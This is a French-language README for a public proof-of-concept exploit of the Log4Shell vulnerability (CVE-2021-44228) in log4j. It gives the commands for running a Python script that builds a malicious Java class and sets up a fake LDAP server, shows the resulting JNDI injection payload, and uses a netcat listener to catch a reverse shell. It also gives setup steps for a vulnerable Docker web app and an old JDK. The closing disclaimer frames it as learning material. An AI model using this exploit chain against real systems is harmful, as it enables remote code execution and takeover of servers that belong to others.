
Une preuve de concept pour la vulnérabilité CVE-2021-44228.
Une preuve de concept pour la vulnérabilité CVE-2021-44228 récemment découverte.
Récemment, une nouvelle vulnérabilité a été découverte dans log4j, une bibliothèque de journalisation Java très largement utilisée dans des applications comme Elasticsearch, Minecraft et bien d'autres.
Dans ce dépôt se trouvent un exemple d'application vulnérable et une preuve de concept (POC) de son exploitation.
En tant que POC, un fichier Python automatise le processus.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 et se trouver dans le même répertoire.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Ce script configurera le serveur HTTP et le serveur LDAP pour vous, et créera également la charge utile que vous pourrez coller dans le paramètre vulnérable. Après cela, si tout s'est bien passé, vous devriez obtenir un shell sur le lport.
Il y a un Dockerfile avec l'application web vulnérable. Vous pouvez l'utiliser en suivant les étapes ci-dessous :
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Une fois qu'elle est en cours d'exécution, vous pouvez y accéder sur localhost:8080
Oracle fournit heureusement une archive pour toutes les versions précédentes de Java :
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Faites défiler jusqu'à 8u20 et téléchargez les fichiers appropriés pour votre système d'exploitation et votre matériel.

Remarque : Vous devez créer un compte pour pouvoir télécharger le paquet.
Une fois que vous avez téléchargé et extrait l'archive, vous pouvez trouver java et quelques binaires associés dans jdk1.8.0_20/bin.
Remarque : Assurez-vous d'extraire le dossier jdk dans ce dépôt avec le même nom pour que cela fonctionne.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Ce dépôt n'est pas destiné à être un exploit en un clic pour CVE-2021-44228. Le but de ce projet est d'aider les gens à apprendre cette vulnérabilité, et peut-être tester leurs propres applications (cependant, il existe de meilleures applications à cet effet, par exemple : https://log4shell.tools/).